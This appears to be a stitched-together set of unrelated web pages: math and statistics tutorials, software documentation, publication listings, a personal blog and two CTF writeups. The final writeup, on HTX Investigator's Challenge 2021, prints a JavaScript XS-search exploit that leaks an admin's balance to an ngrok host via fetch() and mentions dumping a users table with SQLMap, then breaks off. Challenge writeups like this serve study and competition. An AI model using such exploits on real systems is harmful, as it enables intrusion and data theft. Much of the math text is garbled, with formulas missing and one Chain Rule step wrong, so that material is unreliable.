2DEG CHANNEL (1)
2DEG DENSITY DISTRIBUTION (1)
3-D ELECTRON SLAB (1)
ALGAN/ALN/GAN HETEROSTRUCTURE FIELD-EFFECT TRANSISTORS (1)
ALGAN/ALN/GAN HFET (1)
ALGAN/GAN HEMTS (1)
ALGAN/GAN HETEROSTRUCTURES (1)
BREAKDOWN VOLTAGES (1)
BULK ACCEPTOR TRAPS (1)
CAP LAYER THICKNESS (1)
CONDUCTANCE–VOLTAGE (1)
CUT‐OFF FREQUENCY (1)
D-BAND PA APPLICATION (1)
D-BAND POWER-AMPLIFIER APPLICATION (1)
DEVICE NONLINEARITY (1)
DIFFUSED OHMIC CONTACT METAL ATOMS (1)
DISTANCE 600 NM (1)
DRAIN CURRENT DENSITY (1)
DRAIN-TO-SOURCE DISTANCE (1)
E-MDOE (1)
E-MODE (1)
ELECTRIC BREAKDOWN (1)
FIELD-EFFECT TRANSISTORS (FETS) (1)
FIRST-ORDER VOLTAGE SENSITIVITY (1)
FREQUENCY 110 GHZ TO 170 GHZ (1)
GA2O3 METAL‐OXIDE‐SEMICONDUCTOR FIELD‐EFFECT TRANSISTORS (1)
GAN-BASED HFET (1)
GATE BIAS (1)
GATE LENGTH (1)
GATE RECESS (1)
GATE RECESSING (1)
GATE-LAG TRANSIENT (1)
GRADED ALGAN (1)
GRADED HETEROJUNCTIONS (1)
GRADED HETEROSTRUCTURE (1)
GSG HFET (1)
HFETS (1)
HIGH CURRENT DENSITY (1)
HIGH-FREQUENCY HFET (1)
HIGH-SENSITIVITY ZERO-BIAS MICROWAVE DETECTOR (1)
HIGH-TEMPERATURE ELECTRON MOBILITY (1)
HIGH-UNIFORMITY THRESHOLD VOLTAGE (1)
HIGH-UNITY CURRENT GAIN CUT-OFF FREQUENCY (1)
INALN (1)
LATERAL DIODE (1)
LINEARITY. (1)
LOCALIZATION EFFECT (1)
MAXIMUM OSCILLATION FREQUENCY (1)
MG-HAD (1)
MILLIMETRE WAVE FIELD EFFECT TRANSISTORS (1)
MILLIMETRE WAVE POWER AMPLIFIERS (1)
MIS DEVICES (1)
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Leibniz’s Notation & dy/dx Meaning | Outlier
Leibniz’s Notation & dy/dx Meaning
Leibniz’s notation is a fundamental type of notation for derivatives. In this article, we’ll discuss the meaning of dy/dx, how to use Leibniz’s notation, and practice some examples.
Who Is Leibniz?
What Is Leibniz’s Notation System?
Leibniz's Notation vs. Other Notations
Examples of Leibniz’s Notation
Gottfried Wilhelm Leibniz (1646 - 1716) was a 17th century German mathematician. He’s often credited with developing many of the main principles of differential and integral calculus, and is primarily recognized for what we now call Leibniz’s notation.
Derivative notations are used to express the derivative of a function based on today’s standard definition of a derivative. The instantaneous rate of change, or derivative, of a function
f
x
\frac{d}{{dx}}f\left( x \right) = \mathop {\lim }\limits_{\Delta{x} \to 0} \frac{\Delta{y}}{\Delta{x}} = \mathop {\lim }\limits_{\Delta{x} \to 0} \frac{{f\left( {x + \Delta{x} } \right) - f\left( x \right)}}{\Delta{x} }
There are many different derivative notations, but Leibniz’s notation remains one of the most popular. Given a function
f
y = f(x)
, Leibniz's notation expresses the derivative of
x
\frac{dy}{dx}
It might be tempting to think of
\frac{dy}{dx}
as a fraction. In fact, Leibniz himself first conceptualized
\frac{dy}{dx}
as the quotient of an infinitely small change in y by an infinitely small change in
x
, called infinitesimals. However, this understanding of Leibniz’s notation lost popularity in the 19th-century when infinitesimals were considered too imprecise to define the infrastructure of calculus. Leibniz’s original understanding of
\frac{dy}{dx}
as a quotient has been reinterpreted to align with the modern limit-based definition of a derivative. Now,
dy
dx
are generally referred to as differentials instead of infinitesimals. While Leibniz’s notation behaves in a way similar to a fraction, it’s important that you understand the difference.
\frac{d}{dx}
as an operator defined by the standard limit-based definition of a derivative. Suppose we have a function
f
y = f(x)
. When we apply the operator
\frac{d}{dx}
y
, we have the expression
\frac{d}{dx}y
\frac{dy}{dx}
. This expression represents the derivative of
y
x
y
is the function value of
x
). In this way, the operator
\frac{d}{dx}
takes in one function, and outputs another! More specifically, the operator
\frac{d}{dx}
acts on a function to produce that function’s derivative.
Let’s review some examples where Leibniz’s notation is often utilized. Consider the Chain Rule, which helps us differentiate composite functions.
Suppose we have two differentiable functions
f
g
g
x
f
g(x)
Then, the composite function
h = f \circ g
h(x) = f(g(x))
x
, is differentiable at
x
With these conditions satisfied, the Chain Rule states:
h’(x) = f’(g(x))g’(x)
y = f(u)
u = g(x)
g’(x) = \frac{du}{dx}
f’(u) = \frac{dy}{du}
We can translate the above Chain Rule into Leibniz’s notation by writing:
Now, let's see how Leibniz’s Notation can be useful when used in the familiar Inverse Function theorem.
f
y = f(x)
f
is differentiable and invertible.
g
is the Inverse Function theorem of
. Then, the Inverse Function states that
f’(x) = \frac{1}{g’(f(x))}
y = f(x)
x = g(y)
, we can translate the Inverse Function theorem into Leibniz’s notation by writing:
f’(x) = \frac{1}{g’(f(x))} \frac{d}{dx}f(x) = \frac{1}{g'(y)} \frac{dy}{dx} = \frac{1}{\frac{d}{dy}g(y)} \frac{dy}{dx} = \frac{1}{(\frac{dx}{dy})}
In the above equations, we can see how Leibniz’s Notation behaves similarly to a fraction, although it must be emphasized that the derivative is not a fraction.
Leibniz’s Notation vs. Other Notations
Leibniz’s Notation is one popular notation for differentiation, but there are several others that are also frequently used in calculus. Consider the list of derivative notations below to get an understanding of their relationship.
y’
f’(x)
are pronounced respectively as “y prime” and “f prime of x”.
Each notation has its own strengths and weaknesses in different contexts. Understanding their differences can help guide your decision on which derivative notation will work best in a given circumstance. To begin, note that Leibniz’s notation lets us easily express the derivative of a function without employing the use of another variable or function.
For example, we can express the derivative of
x^3
\frac{d}{dx}(x^3)
Another benefit of Leibniz’s notation is that its notation is very suggestive. As mentioned before, Leibniz’s notation often behaves like a fraction, although it’s not one. Its appearance as a fraction suggests different ways that it can be manipulated, particularly with problems that concern the Chain Rule, the Inverse Function theorem, and integration by parts. As long as you have a solid understanding of why Leibniz’s notation is not a fraction, it’s usually okay to manipulate Leibniz’s notation as you would a fraction. That is if that helps you develop an intuition for different procedures in differential and integral calculus.
LaGrange’s notation is most popularly used for derivative problems in function notation. For example, we used LaGrange’s notation earlier to express the Chain Rule.
To give another example, if we are given
f(x) = 3x^2 - 2x
, we can easily write
f’(x) = 6x - 2
In problems that use function notation, LaGrange is often the preferred choice, because it’s easier to mix up functions with function values when using Leibniz’s notation.
Finally, Newton’s notation is most often used in physics, and it’s usually reserved for derivatives with respect to time, like velocity and acceleration. Newton’s notation expresses derivatives by placing a dot over the dependent variable.
Let’s work through some examples together.
y = \sqrt{4x+2}
\frac{dy}{dx}
. We'll need to use the Chain Rule in Leibniz's notation.
y = \sqrt{u}
u = 4x+2
\frac{dy}{du} = \frac{1}{2}u^{\frac{-1}{2}}
\frac{du}{dx} = 4
Using the Chain Rule, we have:
\frac{dy}{dx} = \frac{dy}{du} \frac{du}{dx}
\frac{dy}{dx} = \frac{1}{2}u^{\frac{-1}{2}}\cdot4
\frac{dy}{dx} = \frac{4}{2\sqrt{u}}
\frac{dy}{dx} = \frac{4}{2\sqrt{4x+2}}
\frac{dy}{dx} = \frac{2}{\sqrt{4x+2}}
y = (6x+1)^2
\frac{dy}{dx}
We'll use the Chain Rule in Leibniz's notation.
y = u^2
u = 6x+1
\frac{dy}{du}=\frac12u^{-\frac12}
\frac{du}{dx} = 6
\frac{dy}{dx} = \frac{dy}{du} \frac{du}{dx}
\frac{dy}{dx} = 2u \cdot 6
\frac{dy}{dx} = 12(6x+1)
\frac{dy}{dx} = 72x+12
y = e^{3x+5}
\frac{dy}{dx}
y = e^u
u = 3x+5
\frac{dy}{du} = e^u
\frac{du}{dx} = 3
\frac{dy}{dx} = \frac{dy}{du} \frac{du}{dx}
\frac{dy}{dx} = e^u \cdot 3
\frac{dy}{dx} = 3e^{3x+5}
Understanding Integration by Parts in Calculus
Integration by parts is a handy method for integrating the product of two functions. In this article, we'll discuss the definition of this procedure and its formula, and then walk through how to integrate by parts and practice with some examples.
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Trash Chain - CTFs
Reverse engineering a hash function
It seems that my problems with hashing just keep multiplying...
Welcome to TrashChain! In this challenge, you will enter two sequences of integers which are used to compute two hashes. If the two hashes match, you get the flag! Restrictions:
Integers must be greater than 1.
Chain 2 must be at least 3 integers longer than chain 1
All integers in chain 1 must be less than the smallest element in chain 2
Type "done" when you are finished inputting numbers for each chain.
def H(val, prev_hash, hash_num):
return (prev_hash * pow(val + hash_num, B, A) % A)
for chain_num in range(len(chains)):
cur_hash = 1
for i, val in enumerate(chains[chain_num]):
cur_hash = H(val, cur_hash, i+1)
hashes.append(cur_hash)
Leverage the fact that
A^B\mod{A}=0
. If we simply pass in A as the input, the hash will be 0, and we can make the two hashes collide by forcing them both to be 0.
Since chain 2 must be 3 numbers longer than chain 1, we can simply use
A^{nB}\mod{A}=0
Testing our theory:
Of course, this works on the actual server as well.
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Home : Support : Online Help : Education : Student Packages : Linear Algebra : Computation : Eigenvalues : CharacteristicMatrix
construct a characteristic Matrix
CharacteristicMatrix(A, t, options)
(optional) parameters; for a complete list, see LinearAlgebra[CharacteristicMatrix]
The CharacteristicMatrix(A, t) command constructs the characteristic Matrix
M=-t\mathrm{Id}+A
, where Id is the appropriately sized identity Matrix. The determinant of M, found by using
\mathrm{Determinant}\left(M\right)
, is the characteristic polynomial of A.
\mathrm{with}\left(\mathrm{Student}[\mathrm{LinearAlgebra}]\right):
A≔〈〈1,2,3〉|〈1,2,3〉|〈1,5,6〉〉
\textcolor[rgb]{0,0,1}{A}\textcolor[rgb]{0,0,1}{≔}[\begin{array}{ccc}\textcolor[rgb]{0,0,1}{1}& \textcolor[rgb]{0,0,1}{1}& \textcolor[rgb]{0,0,1}{1}\\ \textcolor[rgb]{0,0,1}{2}& \textcolor[rgb]{0,0,1}{2}& \textcolor[rgb]{0,0,1}{5}\\ \textcolor[rgb]{0,0,1}{3}& \textcolor[rgb]{0,0,1}{3}& \textcolor[rgb]{0,0,1}{6}\end{array}]
C≔\mathrm{CharacteristicMatrix}\left(A,t\right)
\textcolor[rgb]{0,0,1}{C}\textcolor[rgb]{0,0,1}{≔}[\begin{array}{ccc}\textcolor[rgb]{0,0,1}{t}\textcolor[rgb]{0,0,1}{-}\textcolor[rgb]{0,0,1}{1}& \textcolor[rgb]{0,0,1}{-1}& \textcolor[rgb]{0,0,1}{-1}\\ \textcolor[rgb]{0,0,1}{-2}& \textcolor[rgb]{0,0,1}{t}\textcolor[rgb]{0,0,1}{-}\textcolor[rgb]{0,0,1}{2}& \textcolor[rgb]{0,0,1}{-5}\\ \textcolor[rgb]{0,0,1}{-3}& \textcolor[rgb]{0,0,1}{-3}& \textcolor[rgb]{0,0,1}{t}\textcolor[rgb]{0,0,1}{-}\textcolor[rgb]{0,0,1}{6}\end{array}]
\mathrm{Determinant}\left(C\right)
{\textcolor[rgb]{0,0,1}{t}}^{\textcolor[rgb]{0,0,1}{3}}\textcolor[rgb]{0,0,1}{-}\textcolor[rgb]{0,0,1}{9}\textcolor[rgb]{0,0,1}{}{\textcolor[rgb]{0,0,1}{t}}^{\textcolor[rgb]{0,0,1}{2}}
\mathrm{CharacteristicPolynomial}\left(A,t\right)
{\textcolor[rgb]{0,0,1}{t}}^{\textcolor[rgb]{0,0,1}{3}}\textcolor[rgb]{0,0,1}{-}\textcolor[rgb]{0,0,1}{9}\textcolor[rgb]{0,0,1}{}{\textcolor[rgb]{0,0,1}{t}}^{\textcolor[rgb]{0,0,1}{2}}
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Welcome to my new (new new) blog! This is my very first post on it, and I will be testing a few markdown stylings here. Feel free to skip to the next post because this one doesn't have any useful information pertaining programming or about me!
Very Small Heading
Horizontal Break (HTML element because posts are in .mdx)
cout << "Some C++ code!" << endl;
Larger code chunk
i \dots N
move up!
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Shengzhi Zhao
Search results for: Shengzhi Zhao
Heterostructure ReS2/GaAs Saturable Absorber Passively Q-Switched Nd:YVO4 Laser
Lijie Liu, Hongwei Chu, Xiaodong Zhang, Han Pan, more
Nanoscale Research Letters > 2019 > 14 > 1 > 1-6
Heterostructure ReS2/GaAs was fabricated on a 110-μm (111) GaAs wafer by chemical vapor deposition method. Passively Q-switched Nd:YVO4 laser was demonstrated by employing heterostructure ReS2/GaAs as a saturable absorber (SA). The shortest pulse width of 51.3 ns with a repetition rate of 452 kHz was obtained, corresponding to the pulse energy of 465 nJ and the peak power of 9.1 W. In comparison with...
Passively Q-Switched Ho,Pr:LLF Bulk Slab Laser at
2.95~\mu \text{m}
Based on MoS2 Saturable Absorber
Passively Q-Switched Er:LuAG Laser at 1.65 μm Using MoS2 and WS2 Saturable Absorbers
Shuaiyi Zhang, Lei Guo, Mingqi Fan, Fei Lou, more
We describe passively Q-switched Er:LuAG laser characteristics at 1.65 μm for the first time, with MoS2 and WS2 as the saturable absorber, respectively. The saturable absorbers were both prepared with the liquid phase exfoliation method. A shortest pulse width of 1.1 μ s was attained with the pulse repetition frequency of 41.6 kHz for the MoS2 saturable absorber, resulting in the highest peak power...
1.36 W Passively Q-Switched YVO4/Nd:YVO4 Laser With a WS2 Saturable Absorber
Wenjing Tang, Yonggang Wang, Kejian Yang, Jia Zhao, more
IEEE Photonics Technology Letters > 2017 > 29 > 5 > 470 - 473
By using WS2 as saturable absorber (SA), a diode-pumped passively $Q$ -switched YVO4/Nd:YVO4 laser is demonstrated. Under the pump power of 6.28 W, a maximum output power of 1.36 W and minimum pulse duration of 56 ns with a repetition rate of 1.03 MHz are obtained, resulting in a peak power of as high as 23.6 W. So far as we know, it is the shortest pulse duration in $Q$ -switched lasers with 2-D...
Passively Q-Switched Laser at 1.3 μm With Few-Layered MoS2 Saturable Absorber
Kai Wang, Kejian Yang, Xiaoyan Zhang, Shengzhi Zhao, more
Solid-state passively Q-switched Nd:LuAG laser at 1.3 μm with few layered MoS2 as saturable absorber has been experimentally realized and demonstrated. The shortest pulse width of 188 ns and pulse repetition rate of 73 kHz were obtained. The experimental results verified the broadband saturable absorption characteristics of MoS2 and indicated its ability to generate short pulses.
High-Peak Power Passively Q-Switched 2-μm Laser With MoS2 Saturable Absorber
Chao Luan, Xiaoyan Zhang, Kejian Yang, Jia Zhao, more
The passive Q-switching characteristics of a diode-pumped Tm,Ho:YAP laser at 2 μm based on a MoS2 saturable absorber (SA) is presented for the first time. Pulses as short as 435 ns under a repetition rate of about 55 kHz were generated at the incident pump power of 8.4 W, corresponding to the pulse peak power up to 11.3 W. This is, to the best of our knowledge, the highest pulse peak power, ever obtained...
1.38 MW peak power dual-loss modulated sub-nanosecond green laser with EO and graphene
Wenjing Tang, Jia Zhao, Kejian Yang, Shengzhi Zhao, more
By simultaneously employing electro-optic (EO) modulator and Graphene saturable absorber (SA) in a dual-loss-modulated Q-switched and mode-locking (QML) Nd:Lu0.15Y0.85VO4/KTP green laser, the sub-nanosecond single mode-locking green laser is demonstrated with high peak power, low repetition rate and high stability. The monolayer and 3-layer graphene sheets grown by chemical vapor deposition (CVD)...
DIODE-PUMPED (10)
PASSIVE Q-SWITCH (10)
SWITCHED NONLINEAR SYSTEMS (4)
SWITCHED SYSTEMS (3)
THERMAL EFFECT (3)
COMMON LYAPUNOV FUNCTION (2)
CR4+:YAG SATURABLE ABSORBER (2)
DIGITAL FILTER APPROACH (2)
DOUBLY Q-SWITCHED (2)
DOUBLY QML LASER (2)
DYNAMIC WAVELENGTH SWITCHING (2)
FLUORESCENCE EMISSION SPECTRA (2)
INTRACAVITY-FREQUENCY-DOUBLING (2)
Nonlinear Analysis: Hybrid Systems (1)
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Home > Journals > Algebr. Geom. Topol. > Volume 9 > Issue 2 > Article
2009 The volume conjecture for augmented knotted trivalent graphs
Algebr. Geom. Topol. 9(2): 691-722 (2009). DOI: 10.2140/agt.2009.9.691
We propose to generalize the volume conjecture to knotted trivalent graphs and we prove the conjecture for all augmented knotted trivalent graphs. As a corollary we find that for any link
L
there is an arithmetic link containing
L
for which the volume conjecture holds.
Roland van der Veen. "The volume conjecture for augmented knotted trivalent graphs." Algebr. Geom. Topol. 9 (2) 691 - 722, 2009. https://doi.org/10.2140/agt.2009.9.691
Received: 5 February 2009; Revised: 4 March 2009; Accepted: 11 March 2009; Published: 2009
Digital Object Identifier: 10.2140/agt.2009.9.691
Keywords: 6j symbol , augmented , graph complement , graph invariant , Hyperbolic , hyperbolic volume , Jones polynomial , Kashaev invariant , knot complement , knotted trivalent graph , octahedra , skein theory , Volume conjecture
Roland van der Veen "The volume conjecture for augmented knotted trivalent graphs," Algebraic & Geometric Topology, Algebr. Geom. Topol. 9(2), 691-722, (2009)
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Understanding Sampling Distributions: What Are They and How Do They Work? | Outlier
Why Are Sampling Distributions Important?
Types of Sampling Distributions: Means and Sums
A sampling distribution is the probability distribution of a sample statistic, such as a sample mean (
\bar{x}
) or a sample sum (
\Sigma_x
Imagine trying to estimate the mean income of commuters who take the New Jersey Transit rail system into New York City. More than one hundred thousand commuters take these trains each day, so there’s no way you can survey every rider. Instead, you draw a random sample of 80 commuters from this population and ask each person in the sample what their household income is. You find that the mean household income for the sample is
\bar{x}_{1}
= $92,382. This figure is a sample statistic. It’s a number that summarizes your sample data, and you can use it to estimate the population parameter. In this case, the population parameter you are interested in is the mean income of all commuters who use the New Jersey Transit rail system to get to New York City.
Now that you’ve drawn one sample, say you draw 99 more. You now have 100 random samples of sample size n=80, and for each sample, you can calculate a sample mean. We’ll denote these means as
\bar{x}_1
\bar{x}_2
\bar{x}_{100}
, where the subscript indicates the sample for which the mean was calculated. The value of these means will vary. For the first sample, we found a mean income of $92,382, but in another sample, the mean may be higher or lower depending on who gets sampled. In this way, the sample statistic
\bar{x}
becomes its own random variable with its own probability distribution. Tallying the values of the sample means and plotting them on a relative frequency histogram gives you the sampling distribution of
\bar{x}
(the sampling distribution of the sample mean).
Don’t get confused! The sampling distribution is not the same thing as the probability distribution for the underlying population or the probability distribution of any one of your samples.
In our New Jersey Transit example:
The population distribution is the distribution of household income for all NJ Transit rail commuters.
The sample distribution is the distribution of income for a particular sample of eighty riders randomly drawn from the population.
The sampling distribution is the distribution of the sample statistic
\bar{x}
. This is the distribution of the 100 sample means you got from drawing 100 samples.
Sampling distributions are closely linked to one of the most important tools in statistics: the central limit theorem. There is plenty to say about the central limit theorem, but in short, and for the sake of this article, it tells us two crucial things about properly drawn samples and the shape of sampling distributions:
If you draw a large enough random sample from a population, the distribution of the sample should resemble the distribution of the population.
As the number of drawn samples gets larger and larger, and if certain conditions are met, the sampling distribution will approach a normal distribution.
What conditions need to be met for the central limit theorem to hold?
The central limit theorem applies in situations where the underlying data for the population is normally distributed or in cases where the size of the samples being drawn is greater than or equal to 30 (n≥30). In either case, samples need to be drawn randomly and with replacement.
Here is the magic behind sampling distributions and the central limit theorem. If we know that a sampling distribution is approximately normal, we can use the rules of probability (such as the empirical rule, z-transformations, and more) to make powerful statistical inferences. This is true even if the underlying distribution for the population is not normal or even if the shape of the underlying distribution is unknown. So long as the sample size is equal to or greater than 30, we can use the normal approximation of the sampling distribution to get a better estimate of what the underlying population is like.
A refresher on normal distributions and the empirical rule:
The normal distribution is a bell-shaped distribution that is symmetric around the mean and unimodal.
The empirical rule tells us that 68% of all observations in a normal distribution lie within one standard deviation of the mean, 95% of all observations lie within two standard deviations of the mean, and 99.7% of all observations lie within three standard deviations of the mean.
A refresher on standard normal distributions and z-transformations:
A standard normal distribution is a normal distribution with a mean equal to zero and a standard deviation equal to one.
Any value from a normal distribution can be mapped to a value on the standard normal distribution using a z-transformation.
Z =\frac{(x-\mu)}{\sigma}
Sampling distributions can be constructed for any random-sample-based statistic, so there are many types of sampling distributions. We’ll end this article by briefly exploring the characteristics of two of the most commonly used sampling distributions: the sampling distribution of sample means and the sampling distribution of sample sums. Both of these sampling distributions approach a normal distribution with a particular mean and standard deviation. The standard deviation of a sampling distribution is called the standard error.
If the central limit theorem holds, the sampling distribution of sample means will approach a normal distribution with a mean equal to the population mean,
\mu
, and a standard error equal to the population standard deviation divided by the square root of the sample size,
\frac{\sigma}{\sqrt{n}}
The fact that the distribution of sample means is centered around the population mean is an important one. This means that the expectation of a sample mean is the true population mean,
\mu
, and using the empirical rule, we can assert that if large enough samples of size n are drawn with replacement, 99.7% of the sample means will fall within 3 standard errors of the population mean. Lastly, sampling distribution of means allows you to use z-transformations to make probability statements about the likelihood that a sample mean,
\bar{x}
, calculated from a sample of size n, will be between, greater than, or equal to some value(s).
The sampling distribution of sample means:
The sampling distribution of the sample means,
\bar{x}
, approaches a normal distribution with mean,
\mu
, and a standard deviation,
\frac{\sigma}{\sqrt{n}}
\bar{x}
~ N(
\mu
\frac{\sigma}{\sqrt{n}}
\mu
is the population mean,
\sigma
is the population standard deviation, and n is the sample size
Just as the sampling distribution of sample means approaches a normal distribution with a unique mean and standard, so does the sampling distribution of sample sums. A sample sum,
\Sigma
, is just the sum of all values in a sample.
The sampling distribution of sample sums is centered around a mean equal to the sample size multiplied by the population mean, n
\mu
, and the standard error of sums is equal to the square root of the sample size multiplied by the standard deviation of the population: (
\sqrt{n}
\sigma
The sampling distribution of sample sums:
The sampling distribution of the sample sums,
\Sigma
, approaches a normal distribution with mean, n
\mu
, and a standard deviation, (
\sqrt{n}
\sigma
\Sigma_x
~ N(n
\mu_x
\sqrt{n}
\sigma_x
The mean of the sampling distribution of sums
\mu_{\Sigma_{x}}
= (n)(
\mu
The standard deviation of the sampling distribution of sums
\sigma_{\Sigma_{x}}
\sqrt{n}
\sigma
Remember, the standard error is just a name given to the standard deviation of a sampling distribution.
The standard error of means is the standard deviation for the sampling distribution of means. It equals
\frac{\sigma}{\sqrt{n}}
when the central limit theorem holds.
The standard error of sums is the standard deviation of the sampling distribution of sum. It equals (
\sqrt{n}
\sigma
) when the central limit theorem holds.
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standardize: A function to standardize columns in a 2D NumPy array - mlxtend
Example 1 - Standardize a Pandas DataFrame
Example 2 - Standardize a NumPy Array
Example 3 - Re-using parameters
A function that performs column-based standardization on a NumPy array.
The result of standardization (or Z-score normalization) is that the features will be rescaled so that they'll have the properties of a standard normal distribution with
\mu = 0
\sigma = 1
\mu
is the mean (average) and
\sigma
is the standard deviation from the mean; standard scores (also called z scores) of the samples are calculated as
Standardizing the features so that they are centered around 0 with a standard deviation of 1 is not only important if we are comparing measurements that have different units, but it is also a general requirement for the optimal performance of many machine learning algorithms.
One family of algorithms that is scale-invariant encompasses tree-based learning algorithms. Let's take the general CART decision tree algorithm. Without going into much depth regarding information gain and impurity measures, we can think of the decision as "is feature x_i >= some_val?" Intuitively, we can see that it really doesn't matter on which scale this feature is (centimeters, Fahrenheit, a standardized scale -- it really doesn't matter).
Some examples of algorithms where feature scaling matters are:
linear discriminant analysis, principal component analysis, kernel principal component analysis since you want to find directions of maximizing the variance (under the constraints that those directions/eigenvectors/principal components are orthogonal); you want to have features on the same scale since you'd emphasize variables on "larger measurement scales" more.
There are many more cases than I can possibly list here ... I always recommend you to think about the algorithm and what it's doing, and then it typically becomes obvious whether we want to scale your features or not.
In addition, we'd also want to think about whether we want to "standardize" or "normalize" (here: scaling to [0, 1] range) our data. Some algorithms assume that our data is centered at 0. For example, if we initialize the weights of a small multi-layer perceptron with tanh activation units to 0 or small random values centered around zero, we want to update the model weights "equally." As a rule of thumb I'd say: When in doubt, just standardize the data, it shouldn't hurt.
s1 = pd.Series([1, 2, 3, 4, 5, 6], index=(range(6)))
s2 = pd.Series([10, 9, 8, 7, 6, 5], index=(range(6)))
df = pd.DataFrame(s1, columns=['s1'])
df['s2'] = s2
standardize(df, columns=['s1', 's2'])
X = np.array([[1, 10], [2, 9], [3, 8], [4, 7], [5, 6], [6, 5]])
standardize(X, columns=[0, 1])
In machine learning contexts, it is desired to re-use the parameters that have been obtained from a training set to scale new, future data (including the independent test set). By setting return_params=True, the standardize function returns a second object, a parameter dictionary containing the column means and standard deviations that can be re-used by feeding it to the params parameter upon function call.
X_train = np.array([[1, 10], [4, 7], [3, 8]])
X_test = np.array([[1, 2], [3, 4], [5, 6]])
columns=[0, 1],
{'avgs': array([ 2.66666667, 8.33333333]),
'stds': array([ 1.24721913, 1.24721913])}
standardize(array, columns=None, ddof=0, return_params=False, params=None)
Standardize columns in pandas DataFrames.
array : pandas DataFrame or NumPy ndarray, shape = [n_rows, n_columns].
columns : array-like, shape = [n_columns] (default: None)
Array-like with column names, e.g., ['col1', 'col2', ...] or column indices [0, 2, 4, ...] If None, standardizes all columns.
ddof : int (default: 0)
return_params : dict (default: False)
If set to True, a dictionary is returned in addition to the standardized array. The parameter dictionary contains the column means ('avgs') and standard deviations ('stds') of the individual columns.
params : dict (default: None)
A dictionary with column means and standard deviations as returned by the standardize function if return_params was set to True. If a params dictionary is provided, the standardize function will use these instead of computing them from the current array.
If all values in a given column are the same, these values are all set to 0.0. The standard deviation in the parameters dictionary is consequently set to 1.0 to avoid dividing by zero.
df_new : pandas DataFrame object.
Copy of the array or DataFrame with standardized columns.
For usage examples, please see http://rasbt.github.io/mlxtend/user_guide/preprocessing/standardize/
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I2SEQ1
Here are some "big questions" for you to think about.
Jay decides to play with a machine that follows a
1 \leftarrow 1
rule. He puts one dot into the rightmost box.
What happens? Do assume there are infinitely many boxes to the left.
Suggi plays with a machine following the rule
2 \leftarrow 1
. She puts one dot into the right-most box. What happens in this case?
Do you think these machines are interesting? Is there much to study about them?
Poindexter decides to play with a machine that follows the rule
2 \leftarrow 3
Describe what happens when there are three dots in a box.
2\leftarrow 3
machine codes for the numbers
1
30
. Any patterns?
The code for ten in this machine turns out to be
2101
. Look at your code for twenty. Can you see it as the answer to "ten plus ten"? Does your code for thirty look like the answer to "ten plus ten plus ten"?
Comment: We'll explore this weird
2\leftarrow 3
machine later on.
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The happiness at work equation | Meekal Bajaj
The happiness at work equation
Opinion · 2 minutes read · Last updated August 02, 2014
Pink describes a wonderful theory on what motivates us in Drive . According to him, people are motivated by having autonomy, mastery, and purpose. And at a macro level, the driving factors he lists reflect my own personal experience pretty accurately.
And yet, even during the times when I have all three, my levels of happiness oscillate wildly over time. I might be initially pulled in by the vision of what we are trying to build, but this excitement in annealed through the arduousness of the daily grind and reinforced by the skills I develop.
All together, my rough back of the envelope equation on my motivation level as a function of time is captured by:
Vision
, is the initial excitement for what we are building. The motivating power of the vision decays over time, captured by the constant k.
\mu
is the friction of the daily grind. The harder it is to get the simple things done, the higher the coefficient. Meeting overheads, process inefficiencies, ineffective approval process, broken tools all fall in this bucket.
p
is the momentum of the project, and like any project, momentum is somewhat cyclic. Ideally, this would be an exponentially increasing curve.
H
is a step function for responsibility, I feel more motivated when I know that more depends on me.
I
, salary raises, promotions, and shoutouts are impulse functions. They have a strong short term effect but their effect regresses quickly.
m
, skill growth increases over time.
c, n
, and lastly, the relationships you build, the growth in skills you experience, and quite honestly, the strong disincentive against leaving the familiar, are all constants that round up how motivated I feel.
What am I missing that impacts your motivation when working on something?
The happiness at work equation http://t.co/SSDfZPTolp pic.twitter.com/jbtd0ITbn0
— meekal bajaj (@mbe) August 22, 2014
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HTX Investigator's Challenge 2021 - CTFs
The HTX Investigator's Challenge is a Singaporean CTF competition hosted by the Home Team Science and Technology Agency (HTX).
The event ran for 12 hours from 8am to 8pm on 20 December 2021, and included various cybersecurity challenges.
My team, Social Engineering Experts, topped the scoreboard, with a total of 43,380 points.
We didn't qualify for the prizes due to eligibility criteria. The official champions for the HTXIC 2021 are the good folks from T0X1C V4P0R.
Since this has already sent some shockwaves in the local CTF community, and will inevitably lead to more questions in the next few days, I thought I'd spend some time writing about the situation and addressing some anticipated questions.
The eligibility criteria for the HTXIC challenge are as follows.
The team comprised of 5 members currently serving our National Service (NS) with the army, and all of us were Junior College (JC) graduates.
We were not 100% sure whether Institutes of Higher Learning included Junior Colleges, and seeing our friends who are also currently serving NS - but having graduated from polytechnics - signing up, we were eager to participate as well.
We decided to put in our registration regardless, declaring our JCs and year of graduation (2019) in the registration form, with the assumption that the shortlisting process would take the eligibility criteria into consideration.
Post-CTF, we found out that we were ineligible for the challenge. However, the organizers have allowed us to claim that we emerged "top of the scoreboard".
Overall, we did have fun with HTXIC. The people we met at HTX have been nothing but nice to us and were receptive to our feedback.
We mentioned that we would love to see more local CTFs that cater to NSFs like us, and hope that future CTFs could consider this.
I've added brief writeups for some challenges.
SecureBank XSS Search
Chained Web Challenges (SQLi, RCE)
Revo Web App
Web 101
Find the Malicious Attacks by Revo Force
Identifying the High-Risk Individuals
c0deD ME5sages
SecureBank XSS Search
This challenge required us to find out the account balance of the admin.
Looking carefully at the responses received from the web application, we would realise that the /checkbalance endpoint is vulnerable to a class of vulnerabilities known as XS Leaks.
If the queried amount is more than the actual balance in the user's account, the user is redirected. Otherwise, no redirection occurs. It would be possible to get the length of the window's history to check whether this redirection is occurred, allowing us to perform an "XS Search" on the user's account balance.
To obey the Same Origin Policy (SOP), we would need to do the following:
From the exploit server, open http://10.8.201.87:5000/checkbalance?amount=${num} as a new window.
Wait for the site to load. Depending on the balance, the window may be redirected to /.
Change the window's location back to the exploit server, so that both the original and new windows are of the same origin
We can now check the window's history.length attribute to determine if a redirect occurred in step 2.
After some trial and error, here's my final script.
const tryNumber = async (num) => {
let opened = window.open(`http://10.8.201.87:5000/checkbalance?amount=${num}`);
opened.location = "http://24cf-115-66-128-224.ngrok.io/nothing.txt";
console.log(opened.history.length)
if (opened.history.length === 3) {
return [false, num];
return [true, num];
for (let i = 97280; i <= 97290; i+=1) {
tryNumber(i).then(res => {
let [success, guess] = res;
console.log(guess, success);
if (success === true) {fetch("http://24cf-115-66-128-224.ngrok.io/" + `${guess}`)}
On line 25, I started with larger intervals, then slowly narrowed down the exact value by decreasing the interval range.
Chained Web Challenges (SQLi, RCE)
The Tenant and Management login pages were both vulnerable to SQL injection.
Using SQLMap, we could dump the users table in the database.
+-----+----------------+---------+------------+----------------+
